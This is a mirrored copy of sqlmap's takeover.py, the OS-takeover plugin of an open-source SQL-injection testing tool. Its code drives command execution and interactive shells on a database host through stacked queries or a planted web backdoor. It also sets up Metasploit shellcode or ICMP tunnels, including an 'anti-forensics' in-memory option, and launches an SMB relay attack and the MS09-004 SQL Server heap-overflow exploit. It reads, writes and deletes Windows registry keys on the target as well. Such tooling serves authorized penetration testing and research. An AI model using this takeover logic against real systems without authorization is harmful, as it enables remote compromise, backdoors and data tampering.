Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
sqlmapproject
GitHub Repository: sqlmapproject/sqlmap
Path: blob/master/plugins/generic/takeover.py
2989 views
1
#!/usr/bin/env python
2
3
"""
4
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
5
See the file 'LICENSE' for copying permission
6
"""
7
8
import os
9
10
from lib.core.common import Backend
11
from lib.core.common import getSafeExString
12
from lib.core.common import isDigit
13
from lib.core.common import isStackingAvailable
14
from lib.core.common import openFile
15
from lib.core.common import readInput
16
from lib.core.common import runningAsAdmin
17
from lib.core.data import conf
18
from lib.core.data import kb
19
from lib.core.data import logger
20
from lib.core.enums import DBMS
21
from lib.core.enums import OS
22
from lib.core.exception import SqlmapFilePathException
23
from lib.core.exception import SqlmapMissingDependence
24
from lib.core.exception import SqlmapMissingMandatoryOptionException
25
from lib.core.exception import SqlmapMissingPrivileges
26
from lib.core.exception import SqlmapNotVulnerableException
27
from lib.core.exception import SqlmapSystemException
28
from lib.core.exception import SqlmapUndefinedMethod
29
from lib.core.exception import SqlmapUnsupportedDBMSException
30
from lib.takeover.abstraction import Abstraction
31
from lib.takeover.icmpsh import ICMPsh
32
from lib.takeover.metasploit import Metasploit
33
from lib.takeover.registry import Registry
34
35
class Takeover(Abstraction, Metasploit, ICMPsh, Registry):
36
"""
37
This class defines generic OS takeover functionalities for plugins.
38
"""
39
40
def __init__(self):
41
self.cmdTblName = ("%soutput" % conf.tablePrefix)
42
self.tblField = "data"
43
44
Abstraction.__init__(self)
45
46
def osCmd(self):
47
if isStackingAvailable() or conf.direct:
48
web = False
49
elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL):
50
infoMsg = "going to use a web backdoor for command execution"
51
logger.info(infoMsg)
52
53
web = True
54
else:
55
errMsg = "unable to execute operating system commands via "
56
errMsg += "the back-end DBMS"
57
raise SqlmapNotVulnerableException(errMsg)
58
59
self.getRemoteTempPath()
60
self.initEnv(web=web)
61
62
if not web or (web and self.webBackdoorUrl is not None):
63
self.runCmd(conf.osCmd)
64
65
if not conf.osShell and not conf.osPwn and not conf.cleanup:
66
self.cleanup(web=web)
67
68
def osShell(self):
69
if isStackingAvailable() or conf.direct:
70
web = False
71
elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL):
72
infoMsg = "going to use a web backdoor for command prompt"
73
logger.info(infoMsg)
74
75
web = True
76
else:
77
errMsg = "unable to prompt for an interactive operating "
78
errMsg += "system shell via the back-end DBMS because "
79
errMsg += "stacked queries SQL injection is not supported"
80
raise SqlmapNotVulnerableException(errMsg)
81
82
self.getRemoteTempPath()
83
84
try:
85
self.initEnv(web=web)
86
except SqlmapFilePathException:
87
if not web and not conf.direct:
88
infoMsg = "falling back to web backdoor method..."
89
logger.info(infoMsg)
90
91
web = True
92
kb.udfFail = True
93
94
self.initEnv(web=web)
95
else:
96
raise
97
98
if not web or (web and self.webBackdoorUrl is not None):
99
self.shell()
100
101
if not conf.osPwn and not conf.cleanup:
102
self.cleanup(web=web)
103
104
def osPwn(self):
105
goUdf = False
106
fallbackToWeb = False
107
setupSuccess = False
108
109
self.checkDbmsOs()
110
111
if Backend.isOs(OS.WINDOWS):
112
msg = "how do you want to establish the tunnel?"
113
msg += "\n[1] TCP: Metasploit Framework (default)"
114
msg += "\n[2] ICMP: icmpsh - ICMP tunneling"
115
116
while True:
117
tunnel = readInput(msg, default='1')
118
119
if isDigit(tunnel) and int(tunnel) in (1, 2):
120
tunnel = int(tunnel)
121
break
122
123
else:
124
warnMsg = "invalid value, valid values are '1' and '2'"
125
logger.warning(warnMsg)
126
else:
127
tunnel = 1
128
129
debugMsg = "the tunnel can be established only via TCP when "
130
debugMsg += "the back-end DBMS is not Windows"
131
logger.debug(debugMsg)
132
133
if tunnel == 2:
134
isAdmin = runningAsAdmin()
135
136
if not isAdmin:
137
errMsg = "you need to run sqlmap as an administrator "
138
errMsg += "if you want to establish an out-of-band ICMP "
139
errMsg += "tunnel because icmpsh uses raw sockets to "
140
errMsg += "sniff and craft ICMP packets"
141
raise SqlmapMissingPrivileges(errMsg)
142
143
try:
144
__import__("impacket")
145
except ImportError:
146
errMsg = "sqlmap requires 'python-impacket' third-party library "
147
errMsg += "in order to run icmpsh master. You can get it at "
148
errMsg += "https://github.com/SecureAuthCorp/impacket"
149
raise SqlmapMissingDependence(errMsg)
150
151
filename = "/proc/sys/net/ipv4/icmp_echo_ignore_all"
152
153
if os.path.exists(filename):
154
try:
155
with openFile(filename, "wb") as f:
156
f.write("1")
157
except IOError as ex:
158
errMsg = "there has been a file opening/writing error "
159
errMsg += "for filename '%s' ('%s')" % (filename, getSafeExString(ex))
160
raise SqlmapSystemException(errMsg)
161
else:
162
errMsg = "you need to disable ICMP replies by your machine "
163
errMsg += "system-wide. For example run on Linux/Unix:\n"
164
errMsg += "# sysctl -w net.ipv4.icmp_echo_ignore_all=1\n"
165
errMsg += "If you miss doing that, you will receive "
166
errMsg += "information from the database server and it "
167
errMsg += "is unlikely to receive commands sent from you"
168
logger.error(errMsg)
169
170
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
171
self.sysUdfs.pop("sys_bineval")
172
173
self.getRemoteTempPath()
174
175
if isStackingAvailable() or conf.direct:
176
web = False
177
178
self.initEnv(web=web)
179
180
if tunnel == 1:
181
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
182
msg = "how do you want to execute the Metasploit shellcode "
183
msg += "on the back-end database underlying operating system?"
184
msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)"
185
msg += "\n[2] Via 'shellcodeexec' (file system way, preferred on 64-bit systems)"
186
187
while True:
188
choice = readInput(msg, default='1')
189
190
if isDigit(choice) and int(choice) in (1, 2):
191
choice = int(choice)
192
break
193
194
else:
195
warnMsg = "invalid value, valid values are '1' and '2'"
196
logger.warning(warnMsg)
197
198
if choice == 1:
199
goUdf = True
200
201
if goUdf:
202
exitfunc = "thread"
203
setupSuccess = True
204
else:
205
exitfunc = "process"
206
207
self.createMsfShellcode(exitfunc=exitfunc, format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed")
208
209
if not goUdf:
210
setupSuccess = self.uploadShellcodeexec(web=web)
211
212
if setupSuccess is not True:
213
if Backend.isDbms(DBMS.MYSQL):
214
fallbackToWeb = True
215
else:
216
msg = "unable to mount the operating system takeover"
217
raise SqlmapFilePathException(msg)
218
219
if Backend.isOs(OS.WINDOWS) and Backend.isDbms(DBMS.MYSQL) and conf.privEsc:
220
debugMsg = "by default MySQL on Windows runs as SYSTEM "
221
debugMsg += "user, no need to privilege escalate"
222
logger.debug(debugMsg)
223
224
elif tunnel == 2:
225
setupSuccess = self.uploadIcmpshSlave(web=web)
226
227
if setupSuccess is not True:
228
if Backend.isDbms(DBMS.MYSQL):
229
fallbackToWeb = True
230
else:
231
msg = "unable to mount the operating system takeover"
232
raise SqlmapFilePathException(msg)
233
234
if not setupSuccess and Backend.isDbms(DBMS.MYSQL) and not conf.direct and (not isStackingAvailable() or fallbackToWeb):
235
web = True
236
237
if fallbackToWeb:
238
infoMsg = "falling back to web backdoor to establish the tunnel"
239
else:
240
infoMsg = "going to use a web backdoor to establish the tunnel"
241
logger.info(infoMsg)
242
243
self.initEnv(web=web, forceInit=fallbackToWeb)
244
245
if self.webBackdoorUrl:
246
if not Backend.isOs(OS.WINDOWS) and conf.privEsc:
247
# Unset --priv-esc if the back-end DBMS underlying operating
248
# system is not Windows
249
conf.privEsc = False
250
251
warnMsg = "sqlmap does not implement any operating system "
252
warnMsg += "user privilege escalation technique when the "
253
warnMsg += "back-end DBMS underlying system is not Windows"
254
logger.warning(warnMsg)
255
256
if tunnel == 1:
257
self.createMsfShellcode(exitfunc="process", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed")
258
setupSuccess = self.uploadShellcodeexec(web=web)
259
260
if setupSuccess is not True:
261
msg = "unable to mount the operating system takeover"
262
raise SqlmapFilePathException(msg)
263
264
elif tunnel == 2:
265
setupSuccess = self.uploadIcmpshSlave(web=web)
266
267
if setupSuccess is not True:
268
msg = "unable to mount the operating system takeover"
269
raise SqlmapFilePathException(msg)
270
271
if setupSuccess:
272
if tunnel == 1:
273
self.pwn(goUdf)
274
elif tunnel == 2:
275
self.icmpPwn()
276
else:
277
errMsg = "unable to prompt for an out-of-band session"
278
raise SqlmapNotVulnerableException(errMsg)
279
280
if not conf.cleanup:
281
self.cleanup(web=web)
282
283
def osSmb(self):
284
self.checkDbmsOs()
285
286
if not Backend.isOs(OS.WINDOWS):
287
errMsg = "the back-end DBMS underlying operating system is "
288
errMsg += "not Windows: it is not possible to perform the SMB "
289
errMsg += "relay attack"
290
raise SqlmapUnsupportedDBMSException(errMsg)
291
292
if not isStackingAvailable() and not conf.direct:
293
if Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.MSSQL):
294
errMsg = "on this back-end DBMS it is only possible to "
295
errMsg += "perform the SMB relay attack if stacked "
296
errMsg += "queries are supported"
297
raise SqlmapUnsupportedDBMSException(errMsg)
298
299
elif Backend.isDbms(DBMS.MYSQL):
300
debugMsg = "since stacked queries are not supported, "
301
debugMsg += "sqlmap is going to perform the SMB relay "
302
debugMsg += "attack via inference blind SQL injection"
303
logger.debug(debugMsg)
304
305
printWarn = True
306
warnMsg = "it is unlikely that this attack will be successful "
307
308
if Backend.isDbms(DBMS.MYSQL):
309
warnMsg += "because by default MySQL on Windows runs as "
310
warnMsg += "Local System which is not a real user, it does "
311
warnMsg += "not send the NTLM session hash when connecting to "
312
warnMsg += "a SMB service"
313
314
elif Backend.isDbms(DBMS.PGSQL):
315
warnMsg += "because by default PostgreSQL on Windows runs "
316
warnMsg += "as postgres user which is a real user of the "
317
warnMsg += "system, but not within the Administrators group"
318
319
elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
320
warnMsg += "because often Microsoft SQL Server %s " % Backend.getVersion()
321
warnMsg += "runs as Network Service which is not a real user, "
322
warnMsg += "it does not send the NTLM session hash when "
323
warnMsg += "connecting to a SMB service"
324
325
else:
326
printWarn = False
327
328
if printWarn:
329
logger.warning(warnMsg)
330
331
self.smb()
332
333
def osBof(self):
334
if not isStackingAvailable() and not conf.direct:
335
return
336
337
if not Backend.isDbms(DBMS.MSSQL) or not Backend.isVersionWithin(("2000", "2005")):
338
errMsg = "the back-end DBMS must be Microsoft SQL Server "
339
errMsg += "2000 or 2005 to be able to exploit the heap-based "
340
errMsg += "buffer overflow in the 'sp_replwritetovarbin' "
341
errMsg += "stored procedure (MS09-004)"
342
raise SqlmapUnsupportedDBMSException(errMsg)
343
344
infoMsg = "going to exploit the Microsoft SQL Server %s " % Backend.getVersion()
345
infoMsg += "'sp_replwritetovarbin' stored procedure heap-based "
346
infoMsg += "buffer overflow (MS09-004)"
347
logger.info(infoMsg)
348
349
msg = "this technique is likely to DoS the DBMS process, are you "
350
msg += "sure that you want to carry with the exploit? [y/N] "
351
352
if readInput(msg, default='N', boolean=True):
353
self.initEnv(mandatory=False, detailed=True)
354
self.getRemoteTempPath()
355
self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True)
356
self.bof()
357
358
def uncPathRequest(self):
359
errMsg = "'uncPathRequest' method must be defined "
360
errMsg += "into the specific DBMS plugin"
361
raise SqlmapUndefinedMethod(errMsg)
362
363
def _regInit(self):
364
if not isStackingAvailable() and not conf.direct:
365
return
366
367
self.checkDbmsOs()
368
369
if not Backend.isOs(OS.WINDOWS):
370
errMsg = "the back-end DBMS underlying operating system is "
371
errMsg += "not Windows"
372
raise SqlmapUnsupportedDBMSException(errMsg)
373
374
self.initEnv()
375
self.getRemoteTempPath()
376
377
def regRead(self):
378
self._regInit()
379
380
if not conf.regKey:
381
default = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"
382
msg = "which registry key do you want to read? [%s] " % default
383
regKey = readInput(msg, default=default)
384
else:
385
regKey = conf.regKey
386
387
if not conf.regVal:
388
default = "ProductName"
389
msg = "which registry key value do you want to read? [%s] " % default
390
regVal = readInput(msg, default=default)
391
else:
392
regVal = conf.regVal
393
394
infoMsg = "reading Windows registry path '%s\\%s' " % (regKey, regVal)
395
logger.info(infoMsg)
396
397
return self.readRegKey(regKey, regVal, True)
398
399
def regAdd(self):
400
self._regInit()
401
402
errMsg = "missing mandatory option"
403
404
if not conf.regKey:
405
msg = "which registry key do you want to write? "
406
regKey = readInput(msg)
407
408
if not regKey:
409
raise SqlmapMissingMandatoryOptionException(errMsg)
410
else:
411
regKey = conf.regKey
412
413
if not conf.regVal:
414
msg = "which registry key value do you want to write? "
415
regVal = readInput(msg)
416
417
if not regVal:
418
raise SqlmapMissingMandatoryOptionException(errMsg)
419
else:
420
regVal = conf.regVal
421
422
if not conf.regData:
423
msg = "which registry key value data do you want to write? "
424
regData = readInput(msg)
425
426
if not regData:
427
raise SqlmapMissingMandatoryOptionException(errMsg)
428
else:
429
regData = conf.regData
430
431
if not conf.regType:
432
default = "REG_SZ"
433
msg = "which registry key value data-type is it? "
434
msg += "[%s] " % default
435
regType = readInput(msg, default=default)
436
else:
437
regType = conf.regType
438
439
infoMsg = "adding Windows registry path '%s\\%s' " % (regKey, regVal)
440
infoMsg += "with data '%s'. " % regData
441
infoMsg += "This will work only if the user running the database "
442
infoMsg += "process has privileges to modify the Windows registry."
443
logger.info(infoMsg)
444
445
self.addRegKey(regKey, regVal, regType, regData)
446
447
def regDel(self):
448
self._regInit()
449
450
errMsg = "missing mandatory option"
451
452
if not conf.regKey:
453
msg = "which registry key do you want to delete? "
454
regKey = readInput(msg)
455
456
if not regKey:
457
raise SqlmapMissingMandatoryOptionException(errMsg)
458
else:
459
regKey = conf.regKey
460
461
if not conf.regVal:
462
msg = "which registry key value do you want to delete? "
463
regVal = readInput(msg)
464
465
if not regVal:
466
raise SqlmapMissingMandatoryOptionException(errMsg)
467
else:
468
regVal = conf.regVal
469
470
message = "are you sure that you want to delete the Windows "
471
message += "registry path '%s\\%s? [y/N] " % (regKey, regVal)
472
473
if not readInput(message, default='N', boolean=True):
474
return
475
476
infoMsg = "deleting Windows registry path '%s\\%s'. " % (regKey, regVal)
477
infoMsg += "This will work only if the user running the database "
478
infoMsg += "process has privileges to modify the Windows registry."
479
logger.info(infoMsg)
480
481
self.delRegKey(regKey, regVal)
482
483